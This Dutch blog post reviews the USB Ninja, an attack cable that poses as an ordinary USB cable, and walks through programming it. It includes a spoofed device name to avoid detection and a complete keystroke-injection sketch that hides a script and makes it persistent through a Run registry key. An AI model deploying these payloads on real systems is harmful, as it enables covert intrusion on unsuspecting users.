USB Ninja – HID Attack USB kabel
There is a new kid in town en het is de USB Ninja. USB Ninja is een nieuwe variant van “BadUSB” en de “Hak5 Rubber Ducky”. Waar voorgaande HID attacks zich verbergen in een USB stick daar verbergt de USB Ninja zich nog beter. Bij de USB Ninja zit de HID attack namelijk verborgen in een USB kabel. Deze USB kabel ziet er op het eerste gezicht net zo uit als iedere andere kabel. Als je echt 2 kabels naast elkaar ziet dan kun je zien dat de connectoren van de USB Ninkja net iets breder zijn, maar dit valt helemaal niet op. Iedereen zal denken dat de USB Ninja kabel een gewone originele USB kabel is. Laten we eens kijken hoe de USB Ninja werkt.
Wat meteen opvalt is dat de USB Ninja kabels van hoogwaardige kwaliteit zijn. Het zijn stevige en degelijke kabels. De kabels zijn blanco zonder opdruk. Pas dus op dat je ze niet verliest tussen je andere “normale” kabels.


De USB Ninja kabels zijn volledig functionerende kabels en ondersteunen een voltage range van 4-25 V waardoor zelfs “fast charging” mogelijk is. Ze werken dus gewoon zoals je van een USB kabel mag verwachten (opladen / data overdracht). De USB Ninja wordt geleverd in een aantal verschillende pakketten. Er zijn momenteel 3 soorten te verkrijgen, namelijk met Micro USB, Type C USB en Lightning USB. Elke verkrijgbare set wordt geleverd met 1 USB Ninja Remote. Deze afstandsbediening wordt gebruikt om op afstand de kabel te activeren. Daarnaast wordt iedere kabel geleverd met een magic ring. Deze magnetische ring wordt gebruikt om de kabel in “write mode” te plaatsen zodat de code naar de USB Ninja kabel geschreven kan worden. Er zijn ook setjes die geleverd worden incl. grotere bluetooth antenne. Standaard wordt de USB Ninja Remote geleverd met een 11 CM antenne waarmee activatie op 50 meter afstand mogelijk is. Met een 18 dBi directionele antenne zou activatie op 100 meter mogelijk zijn. Mijn setje beschikt over de 11 CM antenne.
De USB Ninja is ten opzichte van een BadUSB USB stick aardig prijzig. Een enkele USB Ninja kabel kost tussen de 100 en 200 euro. Dit is uiteraard afhankelijk van de gekozen webshop. Mijn Pro Kit (met alle 3 de USB kabels en 1 remote) heb ik voor 350 euro gekocht bij Lab401.com. Het voordeel van Lab401 is dat je besteld bij een Europese shop en je dus geen extra douanekosten krijgt. Mijn bestelling was binnen 3 dagen binnen. Nu moeten we de USB Ninja nog aan de gang krijgen.
USB Ninja Remote
Het eerste dat moet gebeuren is het assembleren van de USB Ninja Remote. Dit is relatief simpel. Eerste doen we de 3.6 V, 40 mAh batterij (deze is oplaadbaar via de meegeleverde USB kabel) in de remote en vervolgens schroeven we de beschermplaatjes over de PCB. De exacte stappen zijn te vinden op de USB Ninja website.

Na assemblage ziet de remote controller er als volgt uit:

Zoals je ziet heeft de remote een A en een B button. Beide knoppen kunnen een payload bevatten. We kunnen het gebruikte bluetooth kanaal beveiligen met een custom naam en wachtwoord. Deze actie kunnen we o.a. uitvoeren met het “NinjaBLESetup” voorbeeld script. Exacte details zijn hier te vinden.
Op de USB Ninja Remote zit een LED lichtje. Zodra je de afstandsbediening inschakelt gaat het lampje knipperen. Op het moment dat de USB kabel actief is (dus in een USB Poort zit) en de afstandsbediening komt in de buurt van de kabel dan zal het lampje ophouden met knipperen. Dit lichtje is dus handig om te bepalen wanneer een payload geactiveerd kan worden. Knippert het lampje dan zal het activeren van een payload nutteloos zijn. Maar mocht je je kabel mee (laten) smokkelen binnen een bedrijf (b.v. tijdens een red team opdracht) dan helpt de USB Ninja remote je om je kabel terug te vinden.
Mocht je beschikken over een Android device dan is het ook mogelijk om de USB Ninja APK te downloaden. Je telefoon beschikt van over een app waarmee de payloads ook geactiveerd kunnen worden. De range met je telefoon (+/-7 meter) is echter een stuk korter dan de range van de hardware remote (+/-50 meter).
USB Ninja Programmeren
Om de USB Ninja te programmeren moet je de Arduino IDE installeren op je computer. De Arduino IDE. Nadat je de Arduino IDE geïnstalleerd hebt is het zaak om de Bad USB Driver te downloaden. Ook deze drivers moet je installeren.

Nu de juiste software geïnstalleerd is moeten we de Arduino IDE nog vertellen hoe de kabel beheerd moet worden. Hiervoor gaan we een beheer URL toevoegen zodat we daarna de USB Ninja als “board” toe kunnen voegen.
Ga naar “Bestand” – “Voorkeuren” en vul bij “Additionele Board Beheer URL’s” een nieuwe beheer URL in:

De juiste URL is:
http://usbninja.com/arduino/package_USBNinja_index.json |
Mocht deze regel al een URL bevatten dan kun je deze extra URL toevoegen op een nieuwe regel door op het icoontje rechts van de URL regel te klikken.

Nu de URL bekend is kunnen we het board toevoegen. Dit doen we via “Hulpmiddelen” – “Board” – “Board Beheer”.

Zoek bij “Board Beheer” naar “Bijgedragen” ofwel “Contributed” boards. Hier vind je de “USB Ninja by RRG”.

Klik deze aan en installeer het board:

Nadat de installatie voltooid is vind je onder “Hulpmiddelen” – “Board” het “USB Ninja cable (BLE + Hall sensor” board terug. Selecteer deze. De Arduino IDE is nu klaar om je USB Ninja kabel te programmeren.

Het programmeren werkt alleen maar in combinatie met de magnetische “magic ring”. Om de kabel te programmeren moet deze in de USB poort gedaan worden terwijl de magische ring (met een magneetje) op de connector zit. De kabel wordt dan in “programming / DFU” mode geplaatst. De kabel mag niet in de USB poort aanwezig zijn.

Wat je het beste kunt doen is een sketch maken, compileren en uploaden. Tijdens het uploaden wordt gevraagd om de USB Ninja te verbinden:

Nu stop je de kabel met magnetische ring in de USB poort waarna de rest van de sketch upload naar de kabel:

Tijdens of na het uploaden kun je de magnetische ring weer verwijderen.
Masking USB Ninja
Het mooi van de USB Ninja is dat deze niet zichtbaar wordt tot hij geactiveerd wordt. Alleen op het moment dat de payload actief is, is de USB kabel als USB-invoerapparaat zichtbaar.

Hoewel een generic “USB-Invoerapparaat” op zich aardig “onzichtbaar” is krijgt de gebruiker wel de volgende popup als de kabel geactiveerd wordt:

Gelukkig kunnen we de USB Ninja programmeren om te verschijnen als ieder ander apparaat. Om dit te doen moeten we het bestand “usbconfig.h” bewerken welke te vinden is in je persoonlijke Arduino Library pad. Dus meestal op de volgende locatie:
C:\Users\%username%\AppData\Local\Arduino15\packages\USBNinja\hardware\avr\1.0.2\libraries\NinjaKeyboard\include |
Zo zie je onder “Device Encryption” de volgende waardes:

Hier heb ik de volgende zaken aangepast.
#define USB_CFG_VENDOR_NAME 'h','t','t','p','s',':','/','/','u','s','b','n','i','n','j','a','.','c','o','m','/' #define USB_CFG_VENDOR_NAME_LEN 21 = #define USB_CFG_VENDOR_NAME 'G','e','n','e','r','i','c' #define USB_CFG_VENDOR_NAME_LEN 7 #define USB_CFG_DEVICE_NAME 'U','S','B',' ','N','i','n','j','a',' ','K','e','y','b','o','a','r','d' #define USB_CFG_DEVICE_NAME_LEN 18 = #define USB_CFG_DEVICE_NAME 'H','i','g','h',' ','S','p','e','e','d',' ','U','S','B',' ','C','a','b','l','e' #define USB_CFG_DEVICE_NAME_LEN 20 |
Na het uploaden van de volgende sketch zal de USB Ninja verschijnen als “Generic High Speed USB Cable”. Dit zorgt ervoor dat je kabel nog slechter te detecteren is.
USB Ninja Code
Nu we een werkende USB Ninja hebben wordt het tijd voor de eerste payload. Deze payload kunnen we dus prima schrijven in de Arduino IDE en wordt dus in C geschreven. De payload kan op verschillende manieren gemaakt worden. Een aantal goede voorbeelden zijn te vinden onder “Bestand” – “Voorbeelden” – “NinjaKeyboard” (of NinjaMouse en NinjaBLESetup):

Omdat elke upload naar de USB Ninja de volledige kabel overschrijft moeten we payload A en payload B combineren in 1 script. Laten we eerst eens een aantal commando’s doornemen welke van toepassing zijn op de USB Ninja.
Loops:
Elke Arduino sketch heeft een “void setup()” loop. Waar de variabelen geladen worden. Daarnaast beschikt elke sketch over een “void loop()” loop. Deze loop bevat code die meteen uitgevoerd wordt. Speciaal voor de USB Ninja hebben we 2 extra loops die de code voor payload A en B bevatten, namelijk:
void payloadA() void payloadB() |
Comments:
Comments in de code kunnen op een aantal manieren toegevoegd worden. Comments zijn niet uitvoerbaar en worden dus niet meegenomen tijdens het draaien van de applicatie.
Een comment die uit slechts 1 regel bestaat kan toegevoegd worden met het “//” voorvoegsel. Een comment die uit meerdere regels bestaat (een blok) staat tussen /* */ code:
//Dit is een comment op 1 regel /* Dit is een comment over meerdere regels! */ |
Interfaces:
De USB Ninja kabel kent een aantal verschillende interfaces die programmeerbaar zijn. Zo kent de USB Ninja een Keyboard interface en een Mouse interface voor het emuleren van een toetsenbord en een muis. De keyboard interface en bijbehorende commando’s starten met “NinjaKeyboard”. De muis interface en bijbehorende commando’s starten met “NinjaMouse”. Algemene USB Ninja commando’s starten met “USBninja”:
USBninjaOnline(); NinjaKeyboard.begin(); NinjaMouse.begin(); |
Start payload:
Het is aan te raden om elke payload te starten met het “begin()” commando. Op deze manier wordt de respectievelijke interface gestart.
NinjaKeyboard.begin(); NinjaMouse.begin(); |
Einde payload:
Als de payload klaar is dan is het zaak om de geladen interface te stoppen. Dit doen we met het “end” commando. Vervolgens zetten we de kabel link weer terug naar “normaal” met het “USBninjaOffline();” commando:
NinjaKeyboard.end(); USBninjaOffline(); en/of NinjaKeyboard.end(); USBninjaOffline(); |
Delay:
Een delay, ofwel vertraging wordt meestal gebruikt in combinatie met de muis interface. De vertraging is in milliseconde. 1000 Milliseconde is dus 1 seconde.
NinjaMouse.delay(500); en/of NinjaKeyboard.delay(500); |
Gebruik een String:
De meest gebruikte functie is ongetwijfeld het laten typen van een string (een combinatie van woorden). Een string kan op meerdere manieren geprint worden. Als je een lange reeks van tekens wilt typen moet je de functie F (“”) gebruiken. Dit is omdat het RAM geheugen van de USB Ninja slechts 512 bytes is. De F functie kan de string naar de flash schrijven. Als je deze functie niet gebruikt kan de tekenreeks tijdens het laden in het RAM geheugen worden geschreven meteen zodra het programma start. Dit kan een runtime-error veroorzaken. Verder kunnen we de string incl. en excl. ENTER toets schrijven. “print ()” schrijft de string zonder Enter-toets en “println ()” schrijft de string incl. Enter Key.
NinjaKeyboard.print(F("notepad")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); OF NinjaKeyboard.println(F("notepad")); |
Gebruik Toetscombinatie:
Om een toetsencombinatie (het gelijktijdig indrukken van meerdere toetsen) te gebruiken gebruik je “NinjaKeyboard.sendKeyStroke”. In onderstaande voorbeeld gebruiken we de combinatie ALT + TAB:
NinjaKeyboard.sendKeyStroke(KEY_LEFT_ALT, KEY_TAB); |
Rechter – en Linker Muisklik
Met de muis wordt vaak geklikt. Dit emuleer je met de het commando “NinjaMouse.leftClick();” en “NinjaMouse.rightClick();”. Het releasen van de muisbuttons doe je met “NinjaMouse.setButtons(0);”:
NinjaMouse.leftClick(); NinjaMouse.rightClick(); NinjaMouse.setButtons(0); |
Muis bewegen:
Het bewegen van de muis doe je met de X (links en rechts) en de Y (omhoog en omlaag) as. Het bewegingscommando. Het bewegingscommando is opgebouwd uit de variabelen “stepLength” (hoe groot is de stap / beweging), LoopNumber (hoe vaak wordt de beweging herhaald) en Speed (hoe snel beweegt de muis).
(5, 100, 5) de stepLength is 5 en dat wordt 100x herhaald. In totaal wordt de muis dus 500 pixels verplaatst. De tijd die de verplaatsing duurt is 5*100 = 500 miliseconden.
Om de muis binnen een halve seconde 500 pixels omhoog te bewegen kun je het volgende commando gebruiken:
NinjaMouse.trackY(-5,100,5); |
De muis omlaag bewegen is als volgt:
NinjaMouse.trackY(5,100,5); |
Om de muis eerst binnen 500 milliseconde 500 pixels naar rechts te bewegen en daarna in de periode van 1600 milliseconde 2000 pixels naar links te bewegen gebruik je:
NinjaMouse.trackX(5,100,5); NinjaMouse.trackX(-5,400,4); |
Ook kunnen we een beweging combineren in 1 commando. In het volgende commando bewegen we de muis 500 pixels omhoog binnen 500 milliseconde. En daarna 2000 pixels naar links binnen 1600 milliseconde:
NinjaMouse.trackAll(5,-5,100,400,5,4); |
Een lege USB Ninja template met keyboard interface kan er dan als volgt uitzien:
//#define LAYOUT_DUTCH //Add this line before include to switch keyboard layout #include <NinjaKeyboard.h> //Import USB Ninja Keyboard Interface void setup() { } void loop() {} { } void payloadA() { USBninjaOnline(); // USBNinja appears. The cable's data line was temporarily cut off. NinjaKeyboard.begin(); //Initliaze NinjaKeyboard USB Interface. NinjaKeyboard.delay(5000); //Delay 1 sec to compatibility Win7, //Some systems require 5 sec of preparation time. NinjaKeyboard.sendKeyStroke(0);//Send HID '0' to compatibility Win7. NinjaKeyboard.delay(1000); //Delay 1 second to wait system. NinjaKeyboard.end(); //Send Disconnect command to NinjaKeyboard USB Interface USBninjaOffline(); //USBNinja disappear. Cable Line back to normal. } void payloadB() { USBninjaOnline(); // USBNinja appears. The cable's data line was temporarily cut off. NinjaKeyboard.begin(); //Initliaze NinjaKeyboard USB Interface. NinjaKeyboard.delay(5000); //Delay 1 sec to compatibility Win7, //Some systems require 5 sec of preparation time. NinjaKeyboard.sendKeyStroke(0);//Send HID '0' to compatibility Win7. NinjaKeyboard.delay(1000); //Delay 1 second to wait system. NinjaKeyboard.end(); //Send Disconnect command to NinjaKeyboard USB Interface USBninjaOffline(); //USBNinja disappear. Cable Line back to normal. |
Mocht je een payload meteen uit willen voeren tijdens het inprikken van de kabel (b.v. payload A) dan voeg je het volgende toe aan de “void setup()” loop:
void setup() { SetRunOnce(PAYLOADA,true); //SetRunOnce(PAYLOADB,true); } |
Wat je ook kunt doen is de code in de “void loop()” loop plaatsen. Echter is het dan niet meer mogelijk de payload met een payload button te activeren.
USB Ninja Magneet als trigger
Het is ook mogelijk om de magneet als trigger te gebruiken om je payload te draaien. Deze code werkt door in de “void loop()” de code te plaatsen die getriggerd moet worden in een IF statement die controleert of de “USBDIRECTPIN” low is. De USBDIRECTPIN is pin0 in de USB Ninja. In de “void setup()“ loop stellen we de USBDIRECTPIN in als “INPUT” pin. Vervolgens stellen we de USBDIRECTPIN in als OUTPUT pin zodat we code kunnen uitvoeren. Als de code uitgevoerd is stellen we de USBDIRECTPIN weer in als “INPUT” pin zodat de code weer getriggerd kan worden als de magneet weer dichtbij is. In de basis ziet dit er als volgt uit:
void setup() { pinMode(USBDIRECTPIN,INPUT); } void loop() { if (digitalRead(USBDIRECTPIN) == LOW) { pinMode(USBDIRECTPIN,OUTPUT); %NORMALE PAYLOAD CODE% pinMode(USBDIRECTPIN,INPUT); } } |
USB Ninja Payload
Laten we eens een payload maken voor de USB Ninja kabel. We gaan het USB Rubber Ducky script genaamd “Payload generic batch” aanpassen voor de USB Ninja. Deze payload zorgt ervoor dat er een batch file aangemaakt wordt. Deze batch file wordt persistent gemaakt en aangemaakt op een manier die niet heel erg opvalt.
//Includes #include <NinjaKeyboard.h> //Information /* Name: Payload generic persistence batch https://jarnobaselier.nl/ Version: 1.0 Original by: Tim Mattison - https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---generic-batch payloadA() {} This code silently creates a batch file and makes it persistent payloadB() {} None */ void setup() { //SetRunOnce(PAYLOADA,true); //SetRunOnce(PAYLOADB,true); } void loop() {} void payloadA() { /* ACTIVATE USB NINJA */ // USBNinja appears. The cable's data line was temporarily cut off. USBninjaOnline(); //Initliaze NinjaKeyboard USB Interface. NinjaKeyboard.begin(); //Delay 5 sec to compatibility Win7, NinjaKeyboard.delay(5000); //Send HID '0' to compatibility Win7. NinjaKeyboard.sendKeyStroke(0); //Delay 1 second to wait for system. NinjaKeyboard.delay(1000); /* ACTUAL CODE */ NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); NinjaKeyboard.delay(1000); NinjaKeyboard.print(F("cmd /Q /D /T:7F /F:OFF /V:ON /K")); NinjaKeyboard.delay(500); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.delay(750); //The Batch file //Delete batch file if already exists. NinjaKeyboard.print(F("erase /Q batch.bat")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); //Make the batch file. NinjaKeyboard.print(F("copy con batch.bat")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); //Registry key that restarts script on reboot. NinjaKeyboard.print(F("REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Persistence /t REG_SZ /d \"wscript.exe %TEMP%\\invis.vbs %TEMP%\\batch.bat\" /f")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); //Copy invis.bat to another location NinjaKeyboard.print(F("move invis.vbs %TEMP%")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); //Copy current program to another location. NinjaKeyboard.print(F("move %0 %TEMP%")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); //Batch File Content NinjaKeyboard.print(F("ipconfig | find \"IPv4\" & hostname")); NinjaKeyboard.sendKeyStroke(KEY_LEFT_CTRL, KEY_Z); NinjaKeyboard.sendKeyStroke(KEY_ENTER); //Make the VBS file that allows running invisibly. //Delete vbs file if already exists NinjaKeyboard.print(F("erase /Q invis.vbs")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.print(F("copy con invis.vbs")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.print(F("CreateObject(\"Wscript.Shell\").Run \"\"\"\" & WScript.Arguments(0) & \"\"\"\", 0, False")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.sendKeyStroke(KEY_LEFT_CTRL, KEY_Z); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.print(F("wscript.exe invis.vbs batch.bat")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.print(F("exit")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); /* DEACTIVATE USB NINJA */ //Send Disconnect command to NinjaKeyboard and NinjaMouse USB Interface. NinjaKeyboard.end(); //USBNinja disappear. Cable Line back to normal. USBninjaOffline(); } void payloadB(){} |
Conclusie
De USB Ninja is USB Rubber Ducky verborgen in een kabel. Een fantastische vermomming voor een zeer krachtig apparaat. De USB Rubber Ducky is gemakkelijk te installeren en ideaal te programmeren in de Arduino IDE. Daarnaast kun je de kabel voorzien van 2 payloads en zijn de payloads remote uit te voeren met de afstandsbediening of met je Arduino device. Het enige wat ik jammer vindt is dat de payloads niet te scheiden zijn. Dus PayloadA voor de computerkant en PayloadB voor de device kant. Op die manier hadden we de kabel kunnen voorzien om beide kanten van de draad te exploiten. Ook vindt ik de USB Ninja op dit moment nog aardig prijzig. Maar deze puntjes buiten beschouwing gelaten is het een zeer goed en degelijk product en een absolute aanwinst voor mijn Read-Team Kit.
Vond je deze post leuk, geef me dan een leuke reactie, like en deel deze post (of mijn website) op je sociale media of op je website. Het maken van dit soort posts kost veel tijd en leuke (re)acties zorgen ervoor dat ik deze met veel plezier blijf maken. Thanks!